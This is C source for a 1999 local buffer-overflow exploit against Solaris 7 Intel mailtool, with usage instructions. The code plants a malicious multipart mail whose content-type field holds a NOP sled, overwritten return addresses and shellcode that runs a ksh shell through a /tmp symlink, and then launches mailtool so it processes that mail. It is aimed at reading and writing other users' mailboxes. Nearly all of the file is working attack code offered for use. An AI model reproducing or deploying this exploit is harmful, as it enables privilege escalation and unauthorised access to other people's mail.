/*=============================================================================
   Solaris mailtool exploit for Solaris7 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN  (shadowpenguin@backsection.net)
   Descripton:
     Local user can read/write any user's mailbox
   Usage:
     setenv DISPLAY yourdisply
     gcc ex_mailtool.c
     ./a.out /var/mail/[any user]
     - Choice "exploit@localhost" mail
  =============================================================================
*/

#include <stdio.h>

#define FAKEADR 96
#define FAKEOFS 0x1000
#define RETADR  84
#define RETOFS  0x1224
#define EXPADR  300
#define NOP     0x90
#define MAXBUF  2000
#define DIR     "/usr/openwin/bin"

#define HEAD \
"From exploit@localhost Fri Nov 26 00:01 JST 1999\n"\
"Content-Type: multipart/mixed; "\
"boundary=\"VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\"\n"\
"Content-Length: 340\n\n"\
"--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\n"\
"Content-Type: image/%s; name=\"test.gif\"\n"\
"Content-Disposition: attachment;\n"\
" filename=\"test.gif\"\n"\
"Content-Transfer-Encoding: base64\n\n"\
"IA==\n\n"\
"--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==--\n\n"

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

char exploit_code[2000] =
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff/tmp/xx";

main(int argc, char *argv[])
{
    static char     buf[MAXBUF];
    FILE        *fp;
    unsigned int    i,ip,sp;

    if (argc!=2){
        printf("usage : %s mailbox\n",argv[0]);
        exit(1);
    }
    putenv("LANG=");
    sp=get_sp();
    system("ln -s /bin/ksh /tmp/xx");
    printf("esp  = 0x%x\n",sp);
    memset(buf,NOP,MAXBUF);
    buf[MAXBUF-1]=0;

    ip=sp-FAKEOFS;
    printf("fake = 0x%x\n",ip);
    buf[FAKEADR  ]=ip&0xff;
    buf[FAKEADR+1]=(ip>>8)&0xff;
    buf[FAKEADR+2]=(ip>>16)&0xff;
    buf[FAKEADR+3]=(ip>>24)&0xff;
    ip=sp-RETOFS;
    printf("eip  = 0x%x\n",ip);
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;

    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));

    if ((fp=fopen(argv[1],"ab"))==NULL){
        printf("Can not write '%s'\n",argv[1]);
        exit(1);
    }
    fprintf(fp,HEAD,buf);
    fclose(fp);
    printf("Exploit mail has been added.\n");
    printf("Choice \"exploit@localhost\" mail.\n");
    sprintf(buf,"cd %s; mailtool",DIR);
    system(buf);
}